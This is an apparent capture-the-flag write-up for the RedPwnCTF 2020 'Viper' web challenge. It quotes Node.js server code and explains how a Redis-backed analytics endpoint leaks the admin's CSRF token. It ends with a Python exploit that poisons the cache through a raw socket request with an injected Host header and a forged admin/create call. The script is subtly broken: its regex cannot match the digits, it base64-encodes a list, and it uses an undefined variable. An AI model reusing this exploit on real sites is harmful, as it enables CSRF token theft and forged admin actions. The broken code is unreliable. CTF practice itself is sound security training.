6 minutes
RedPwnCTF 2020, Part 3
Part 3 of my writeup series for RedPwnCTF 2020! I checked out the web challenge known as “Viper”.
Let’s Begin!
Snakes are my favourite animal. And now, you can easily create ASCII-text snakes with the handy services provided by RedPwn:
When we create our viper, its name is its viperId, which is a UUID.
The source code is available for us in this challenge as well. The main file, server.js
, defines multiple endpoints - but the one that caught my eye immediately was GET /admin/create
.
app.get('/admin/create', function(req, res) {
let sess = req.session;
let viperId = req.query.viperId;
let csrfToken = req.query.csrfToken;
const v4regex = new RegExp("^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$", "i");
if(!viperId.match(v4regex)){
res.status(400).send("Bad request body");
return;
}
if(!viperId || !csrfToken){
res.status(400).send("Bad request body");
return;
}
if(sess.isAdmin){
client.exists('__csrftoken__' + sess.viperId, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
if (reply === 1) {
client.get('__csrftoken__' + sess.viperId, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
if(reply === Buffer.from(csrfToken, 'base64').toString('ascii')){
const randomToken = getRandomInt(1000000, 10000000000);
client.set('__csrftoken__' + sess.viperId, randomToken, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
});
sess.viperId = viperId;
sess.viperName = fs.readFileSync('./flag.txt').toString();
res.redirect('/viper/' + encodeURIComponent(sess.viperId));
}else{
res.status(401).send("Unauthorized");
}
});
} else {
res.status(401).send("Unauthorized");
}
});
}else{
res.redirect('/');
}
});
To summarize, admin/create
validates the given viperID as a UUID, checks the CSRF token and session ID of the request as the admin’s, and once verified changes the name of the viper associated to the request’s viperID to the contents of flag.txt
. Additionally, the existence of a report function stipulates the use of an XSS/CSRF attack - likely CSRF, as the presence of using the admin’s CSRF token to validate the user will imply that we somehow will have to steal their token in some way or another and implement such an attack utilizing the token we steal.
The admin’s CSRF token is generated by a function known as getRandomInt()
, which is called by the /admin
endpoint:
const getRandomInt = (min, max) => {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
};
app.get('/admin', function (req, res) {
let sess = req.session;
/*Focusing only on the bit where the CSRF token is generated*/
(...)
} else {
const randomToken = getRandomInt(10000, 1000000000);
client.set('__csrftoken__' + sess.viperId, randomToken, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
res.render('pages/admin', {
csrfToken: Buffer.from(randomToken).toString('base64')
});
});
}
});
(...)
For context, the variable client
is defined as:
const client = redis.createClient('redis://redis:6379');
Redis is an open-source data structure store that is used as a cache. The CSRF token is stored in the redis server.
The client.set()
function sets the cache’s key. It’s built by concatenating '__csrftoken__'
with the viperid
, which we find in the admin/generate/:secrettoken
endpoint is 'admin_account'
. Therefore, the redis cache key to the admin’s CSRF token is '__csrftoken__admin_account'
.
There is another endpoint I haven’t mentioned yet that also utilizes the redis cache, known as /analytics
:
app.get('/analytics', function (req, res) {
const ip_address = req.query.ip_address;
(...)
client.exists(ip_address, function(err, reply) {
if (reply === 1) {
client.incr(ip_address, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
res.status(200).send("Success! " + ip_address + " has visited the site " + reply + " times.");
});
} else {
client.set(ip_address, 1, function(err, reply) {
if(err){
res.status(500).send("Something went wrong");
return;
}
res.status(200).send("Success! " + ip_address + " has visited the site 1 time.");
});
}
});
});
The endpoint logs the amount of times the webpage’s visitor’s ip_address
checked the page into the redis cache. Specifically, it sets the key of the data as our input to the ip_address
param. We already know of an existing key and entry in the cache, the key to the admin’s CSRF token ('__csrftoken__admin_account'
). If we provided this as our input to the ip_address
param, we should get the CSRF token (incremented by 1) in return.
At this point, it’s pretty obvious that our attack will have to do some cache-poisoning. I have only ever done one other challenge that involved cache poisoning so I certainly don’t have much experience-based knowledge on it - so I had to do some research into how cache-poisoning attacks work.
Altogether, the attack plan is as follows:
- Grab the CSRF token through
/analytics
. - Create our viper page, but inject our own headers into it so that it will lead to the
admin/create
endpoint that will give us the flag. - Cache our viper page with the injected headers, and then send the URL of our page to the admin.
- When the admin visits our page, the cached request that we injected with our headers will fire, and will change the name of the viper to that of the flag.
Step 1: Grab the CSRF token.
As mentioned before, we can use the /analytics
endpoint to grab the CSRF token utilizing '__csrftoken__admin_account'
as our ip_address
value - using it as the key, we should recieve the token as return value. A simple GET request to the endpoint with the ip_address
value set to __csrftoken__admin_account
will allows us to retrieve the token.
curl http://2020.redpwnc.tf:31291/analytics?ip_address=__csrftoken__admin_account
We will use these commands in a script later on.
Step 2: Create a user and our own viper page, and then inject custom headers into it.
After we create the page, we need to take note of the sessionid, cookies, and viperID for the URL that we send to the admin. When we inject the header, the request URL should be a GET request to admin/create
.
Step 3: Cache the viper page we created.
Simply make a GET request for our page so it will be put into the redis cache. Note that the server will only accept requests encoded in base64, so we must make sure our payload is properly encoded before doing so.
Step 4: Send our viper URL to the admin!
Sending the page URL to the admin will hopefully activate the cache to retrieve the instance of our page with the injected payload into it. When they visit, the payload header will fire a request to the /admin/create
endpoint and validate the requester as admin through our use of CSRF token-stealing - thereby allowing the server to rewrite our viper name to that of whatever is in the flag.txt
file in their server. Once we access our page once more, the name should change to the flag!
Here is my script for this challenge:
#!/usr/bin/env python3
import requests, socket, re
from urllib.parse import quote
from base64 import b64encode
address = "http://2020.redpwnc.tf:31291"
ADMIN_VIPER = "CAFECAFE-CAFE-4CAF-8CAF-CAFECAFECAFE"
viper = requests.get(address+'/create', allow_redirects=False)
# Get the viper's name/viper's id, which is UUID format
viper_id = re.findall("([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})", viper.text)[0]
session_id = viper.cookies["connect.sid"]
cookies = {"connect.sid" : session_id}
viper = requests.get(address+"/analytics?ip_address=__csrftoken__admin_account")
print(viper.text)
viper_page = requests.get(address+"/analytics?ip_address=__csrftoken__admin_account")
csrf_token = re.findall("site (\*d) times.", viper_page.text)
# Encode in base64
csrf_token = b64encode(csrf_token)
payload = ""
payload += "GET /viper/"+viper_id+" HTTP/1.1\r\nHost: 2020.redpwnc.tf:31291\\admin\\create?x=<!--&viperId="+ADMIN_VIPER+"&csrfToken="+csrf+"#-->\r\nAccept: */*\r\nCookie: connect.sid="+session_id+"\r\n\r\n"
poison = socket.socket()
poison.connect(("2020.redpwnc.tf", 31291))
poison.sendall(payload.encode())
poison.close()
viper = requests.get("http://2020.redpwnc.tf:31291/viper/"+viper_id, cookies=cookies)
print("URL to admin:")
print(address+"/viper/"+viper_id)
input("\n fetching... \n press ENTER to load cached page, once the admin has visited the URL.")
viper = requests.get("http://2020.redpwnc.tf:31291/viper/"+ADMIN_VIPER, cookies=cookies)
print(viper.text)
Jam